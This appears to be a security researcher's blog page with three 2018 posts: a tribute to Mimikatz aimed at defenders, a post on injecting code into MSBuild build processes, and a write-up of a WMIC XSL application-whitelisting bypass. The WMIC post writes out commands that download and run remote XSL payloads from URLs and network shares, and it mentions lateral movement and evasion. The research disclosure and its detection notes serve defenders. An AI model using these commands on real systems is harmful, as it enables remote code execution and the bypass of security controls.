Wednesday, December 5, 2018

In Defense of Mimikatz - Mieux vaut prévenir que guérir

I wanted to take a moment and write about Mimikatz. This is a comprehensive credential tool. It does far more than you might actually imagine. My purpose of this blog is to encourage defenders to look into this tool closely and consider how you might detect those who run it in its default configurations. And to provide thanks and props to Benjamin for his work.


First, mad respect and props to Benjamin Delpy @gentilkiwi for bringing this tool forward. It is my opinion that we now have eyes on authentication and credentials, that we may not have if this tool didn’t shine a light into this area. Benjamin was the keynote speaker this fall at DerbyCon.  




It is not often you get a powerful tool like this, AND you get the source code that backs it.
“Il vaut mieux faire que dire.” :)


Do you remember the first time you saw Mimikatz dump your password in plain text?


I do. I remember it well, it was around mid 2012. I stumbled onto this blog post.




I had been an argument earlier that week with someone claiming clear text dumping from memory was possible, and I DIDN’T believe it.  I was like, no way… Doesn’t happen. I literally thought what they were describing was impossible. I have since learned it is much wiser to take a learning posture when presented with evidence that seems to to go against what  you understand. When I saw mimikatz dump clear text creds, it was literally a transformative moment for me. “If you can do this?, what else is possible?”


Well, I now know that there is far more mystery in how Windows works than certainty. One only needs to look into MS14-068 or Danderspritz….


So again, thank you Benjamin for awakening in me a curiosity and insatiable appetite for learning more about Windows and how things *REALLY* work.

If I could share one thing here, it would be this.  Mimikatz and its complimentary tool Kekeo do FAR more than dump credentials from memory. In addition, I don’t think many defenders understand the great lengths Benjamin has gone to to make his tool detectable.


How many other tools, drop a YARA file in addition to their tool release?


Again, I applaud the efforts here to be transparent and to teach us. Defenders would do well to spend time studying this code for nuggets that are in the code.


Let’s look at one in depth.  And while I am a bit hesitant to expose this. It is a REALLY simple way to catch those actors who run this tool in its default configuration.


Let’s have a look at this blog for a moment:


So, there is a really interesting feature in Mimikatz, misc::memssp been there for some time actually…






Do you know what misc::memssp does?  Have you looked into closely? Do you understand the bug it can trigger on Server 2016 Domain Controllers ;-)?


Some questions you may have.


  1. When was this piece of code committed?
  2. What does it do?
  3. How can it be used by adversaries?
  4. How might I detect this?
  5. What are the default settings here, and how might they be changed.


I leave it as an exercise for the reader to look into how you might change the default settings.
Here is a hint: 0x740x720x790x680x610x720x640x650x72

In the end, it is my opinion that Benjamin is teaching all of us through his code, if you would take some time to look at it, study it a bit, I think there is something in here for all of us to learn.


Ok. there is so much more to try to share here.


In summary, I don’t think we as defenders need to be afraid of Mimikatz, in fact there is a lot here that we can learn from. One only needs to apply some Focus and Energy as Rob Joyce @RGB_Lights might say ;-).  My really only hope here is try to inspire or encourage you to look closely at this tool. And lastly, Benjamin's work stands and speaks on its own. He doesn't really need my commentary, critique or endorsement. I am simply trying to point others to appreciate the depth and transparency more.


I’ll close with this. Thank you Benjamin for this tool and insight into how credentials, authentication and secrets work and are stored in Windows. Without this work, those who understand these techniques, but choose not to share, would win the day. In the end, it is my opinion that we are all better for this great work.


Merci Beaucoup ;-)

Tuesday, November 13, 2018

Microsoft Build Engine Compromise - Part One

Disclaimer: This blog represents my personal ideas and experiences and not my employer.

tl;dr MSBuild.exe and all its parts are absolutely amazing, but read on to learn more.

This is a follow along blog, so break out your command prompt and lets get started, first some background…

I first discussed some of the capabilities of the MSBuild.exe tool in 2016. It's time to hear the rest of the story as they say... Back then I was able to leverage one of the capabilities to bypass Windows Device Guard. But there is certainly much more possible here, more than you probably ever imagined.

Microsoft Build Engine, is a set of tools and libraries that enable complex build operations to be performed by development teams. While I can't share the details of my personal development and build experience, I think what I have to share will be interesting to you.

Imagine for a moment, you have as your objective to compromise not a single organization, but dozens or hundreds of organizations that use a particular piece of software. For some reason, your objective is to affect organizations that use this application, by surreptitiously injecting code into the application. You might think that the place to start is to find vulnerabilities in the application, or perhaps add source code to the application. One might immediately think of the The International Obfuscated C Code Contest. You may consider a compiler bug like the epic article found in
POC || GTFO 8:3 “ Deniable Backdoors Using Compiler Bugs”.

Reference: https://www.alchemistowl.org/pocorgtfo/pocorgtfo08.pdf

I would like to propose here, an alternative method, and solicit feedback. Hypothetical of course. I would like you to consider that the Microsoft Build Engine, specifically as it is implemented in MSBuild.exe and corresponding libraries, is capable of injecting and influencing the build operations. In such as way as to limit visibility, auditing, detection and prevention.

Questions to consider:
How do you ensure the integrity of your project files?
How do you ensure your application hasn't been altered during the build process?

Ok, on with the story... Imagine a build environment, that implements application whitelisting, and only allows trusted binaries to execute in order to protect the integrity of the build process. I will demonstrate exploit-free capabilities, to alter binaries at run time. These are sanctioned developer patterns. These are not limited to .NET application targets. The Build Engine has several areas that can lead to arbitrary code execution in the context of the build process. These include but are not limited to:


  • Project File Parsing And Import Injection
  • MSBuild Tasks, both builtin and custom
  • PropertyGroup Expansion and Injection
  • Command Line injection to influence build process
  • Dynamic Properties
  • Ok, I’ll stop there for now…


First, in order to study how to affect the build process we need a very basic project file.

Let’s use the sample provided to us by Microsoft here:

Estimated Time to Complete Both 23 minutes.

Complete the steps there first and then return…




Ok friend, welcome back, you now have a complete Microsoft Build Engine Solution and understand some basic properties of how to use MSBuild.exe

Now let us look at a very basic example of executing arbitrary .NET code to influence the build process.

For this hypothetical objective, our first phase is to display a message box during the build.

The project might look like this.  Yes, this is bare bones with no actual code compilation.

<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003" >
<Target Name="Hello" >
<Message Text="$([System.Windows.Forms.MessageBox]::Show('Boom Town!'))" />
  </Target>
</Project>

However, upon running this… You will get this error.




All hope is lost.  Or is it :-)
Again, I encourage you to stop here and think about, or investigate the mechanism that prevents us from executing arbitrary .NET methods.

I’ll save you some time, but if you look into to it, you will find that there is a check for an environment variable named “MSBUILDENABLEALLPROPERTYFUNCTIONS”.  If you enable this environment variable, you unlock the constraints on MSBuild.exe Property Functions.



Winning!

Ok, I could go on.  And I will in a later blog post. There is really much more to explore inside the internals of the Microsoft Build Engine and its corresponding tools and libraries.

But I’ll leave you with a sample gist to show some of the other interesting ways to alter or influence build operations with .NET code. Reminder, MSBuild can be used to build drivers, unmanaged applications.  These tasks and code snippets can be used to execute pre and post build operations. Including binary alterations on files before signing… Maybe. ;-)

https://gist.github.com/caseysmithrc/047a32203ad7c2f92eb250a0bbd01cac

Ok, thats all.

Some additional reading if you are interested in these things. One can certainly use your imagination about what can be done from memory in the build process to influence the outcome.


References:
https://github.com/Microsoft/msbuild

MSBuild Property Functions


That all for today, there is much more here to tell, and I will as I have time.

Cheers,


Casey

Tuesday, April 17, 2018

WMIC.EXE Whitelisting Bypass - Hacking with Style, Stylesheets


tl;dr  
WMIC can invoke XSL (eXtensible Stylesheet Language) scripts, either locally or from a URL.
Local File
wmic process list /FORMAT:evil.xsl
Remote File
wmic os get /FORMAT:”https://example.com/evil.xsl

This is probably useful in environments where Windows Script Host is disabled or blocked.

Like most research, it does not happen in isolation, and it starts with a good question.

I hope to share my thought process and discovery for a new Application Whitelisting Bypass technique that I recently discovered with Matt Graeber, @mattifestation.

Time to discover/test about 2 hours. What follows are a series of chats and questions on how we discovered this. Its raw and unfiltered to help share the ideas and how it was discovered.

I had been interested in some attacks recently using a tool called msxsl.exe, this tool will execute scripts locally or remotely. So the question I asked was:

? Are there any built in tools that can execute xsl scripts?

First action I took was to search the entire drive for any existing xsl files.

There might be several on your systems. On mine there are dozens, even if you confine the search to C:\Windows…

These were of particular interest.

Directory of c:\Windows\System32\wbem

09/29/2017  07:42 AM           623 rawxml.xsl
09/29/2017  07:42 AM         6,278 texttable.xsl
09/29/2017  07:42 AM         2,766 textvaluelist.xsl
              3 File(s)    9,667 bytes

So, I began the next level search…  Are there any default .xsl file that contain the necessary ms:script or msxsl:script tags?

This led me to the really interesting file here,  texttable.xsl.



subtee [7:56 AM]
Actually, now I'm onto something REALLY interesting.
I found this file on win10 in wbem called texttable.xsl
It has a ton of vbs in it
not sure there is any integrity checks on that file.

That was enough to trigger my full interest. :)

At this point all I knew was I had a file that would execute vbs from an xsl file. This is very promising… But how to trigger?

subtee [7:57 AM]
check it out.  WTF is this and what calls it are my next questions
I guess it could be catalog signed?
C:\Windows\System32\wbem\texttable.xsl

This question would soon be answered after a bit of poking and pinging Matt Graeber.

Some google searches for any references to this file etc… Lead me to this:


This let Matt to point out the way to call that file was something like this:

“This example ought to exec the VBS in the XSL: `wmic process LIST /FORMAT:TABLE`”

A bit of looking at ProcMon and we confirmed that this indeed was how that file l was loaded.
I decided to change the /format: parameter to see if I could influence the search and possible get it to load my own file.

subtee [8:16 AM]
look at it searching for xsl with this.
C:\>wmic process LIST /FORMAT:wtf.xsl


So, NOW we have something interesting. We have wmic searching for a user supplied stylesheet.

Who cares about stylesheets?  Well, there are some really interesting tags that allow you to embed JScript or VBScript. If this executes those, it will likely execute in a constrained mode like AppLocker or where Windows Script Host has been disabled.

2002 Article :)

msxsl:script tag

subtee [8:27 AM]
Man, I feel like there is something there
I can't trigger exec yet, but I think we are so close


A bit of poking with the file structure and location and…

subtee [9:03 AM]
BOOM! just got it





subtee [9:05 AM]
`wmic process LIST /FORMAT:texttable.xsl`
lol
just put it in my c:\Tools folder
Let me know if you get to pop notepad


After some validation by both Matt Graeber and Matt Nelson @enigma0x3 , it was confirmed that we had an unconstrained script host bypass for Windows Defender Application Control
(aka Device Guard)

The importance of this is that this primitive leads to arbitrary binary execution, thanks to the work and techniques developed James Forshaw @tiraniddo.

But we are just getting started!  It gets way better.

What we have so far is this:

wmic os get /format:”MYXSLFILE.xsl”  To trigger execution.

subtee [9:15 AM]
Who would have thought wmic processes xslt lol, I can't stop laughing

subtee [9:50 AM]
This can probably be used for some lateral movement, exec wmic on the target and have it reach back and pull the xsl file like this `wmic process get brief /format:"\\127.0.0.1\c$\Tools\pocremote.xsl"`
You can even drop the xsl and it resolves `wmic process get brief /format:"\\127.0.0.1\c$\Tools\csv"`
to try to blend in
... this works too
“wmic process get brief /format:"https://www.example.com/file.xsl”

SO here we have it, another tool, like regsvr32.exe that can accept a script path, or url and execute it.

Much like regsvr32, wmic is proxy aware, and works over TLS.

Sample, Minimalist Payload here:


Can be invoked like:

wmic os get /format:”https://gist.githubusercontent.com/caseysmithrc/68924cabbeca1285d2941298a5b91c24/raw/78065ca63504c9a0f41107137fbe861de487e4d4/minimalist”

Additional Example that leverages Activation Context to load .NET libraries, as presented by James Forshaw at DerbyCon 2017 (http://www.irongeek.com/i.php?page=videos/derbycon7/s13-the-net-inter-operability-operation-james-forshaw)

wmic os get /format:”wmic os get /format:"https://gist.githubusercontent.com/caseysmithrc/4932a527e326de68f3bd212913d02c78/raw/8dd9696e937a7e66972a2e95c0d65a83ec9e3d7c/dotnet.xsl"



Example Detection Criteria:
  1. url on command line
  2. wmic external network connections

Guidance would be to block/ban wmic if it is not needed.


That’s all folks.




Cheers,


Casey
@subTee



Many thanks to Matt Graeber and Matt Nelson, who constantly help push me forward.





In Defense of Mimikatz - Mieux vaut prévenir que guérir

I wanted to take a moment and write about Mimikatz. This is a comprehensive credential tool. It does far more than you might actually imagi...